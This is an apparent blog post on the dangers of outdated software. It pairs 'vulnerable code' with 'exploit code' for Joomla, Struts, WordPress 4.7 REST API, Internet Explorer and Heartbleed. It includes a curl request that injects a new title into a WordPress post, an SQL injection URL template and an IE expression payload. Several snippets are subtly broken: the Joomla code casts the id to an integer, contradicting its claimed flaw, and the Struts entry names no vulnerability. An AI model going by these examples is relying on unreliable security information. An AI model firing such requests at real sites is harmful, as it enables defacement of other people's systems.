The Perils of Using Outdated Software: A Look at Code Vulnerabilities and Exploits 🚨👩‍💻

October 30, 2023

Utilizing outdated software can be a significant security gamble. It can expose systems to exploits targeting old vulnerabilities. Here are several examples, showcasing the vulnerable code and their respective exploits.

1. Joomla! 1.5.26

Vulnerability: SQL Injection due to insufficient input sanitization.
Vulnerable Code:

// Joomla! 1.5.26 - SQL Injection Example
$id = JRequest::getVar('id', 0, '', 'int');
$query = "SELECT * FROM #__content WHERE id = $id";
$db->setQuery($query);

Exploit Code:

# SQL Injection Exploit
curl 'http://example-joomla-site.com/index.php?option=com_content&view=article&id=[SQLi]

2. Apache Struts

Vulnerable Code:

// Example of vulnerable Struts action class
public class DataAction extends ActionSupport {
    private String data;
    // ... setters and getters ...
}

3. WordPress 4.7.0-4.7.1 REST API

Vulnerability: Content Injection Vulnerability

Vulnerable Code:

In WordPress versions 4.7.0-4.7.1, the REST API incorrectly handles post meta data, leading to content injection.

Exploit Code:

curl -X POST http://vulnerable-wordpress-site.com/wp-json/wp/v2/posts/123 \
  -H "Content-Type: application/json" \
  -d '{"id":"123abc","title":"Hacked"}'
# This would change the title of the post with ID 123.

4. Microsoft Internet Explorer

Vulnerable Code: Issues typically stemmed from how IE parsed HTML/CSS or executed JavaScript.

<!-- Example of potentially vulnerable HTML layout in older IE versions -->
<div style="width: expression(alert('Vulnerable IE version!'));">
  ...
</div>

Exploit Code: Attackers might craft a specific JavaScript code or HTML layout that triggers a buffer overflow or arbitrary code execution.

5. OpenSSL (Heartbleed)

Vulnerable Code: The bug was in OpenSSL’s heartbeat feature, which kept connections alive even when no data was being transferred.

// Simplified extract from vulnerable OpenSSL code
heartbeat(int type, unsigned char *payload, int payload_length) {
    unsigned char *buffer = OPENSSL_malloc(1 + 2 + payload_length + padding);
    memcpy(buffer, payload, payload_length);  // Bug was here
    // ...
}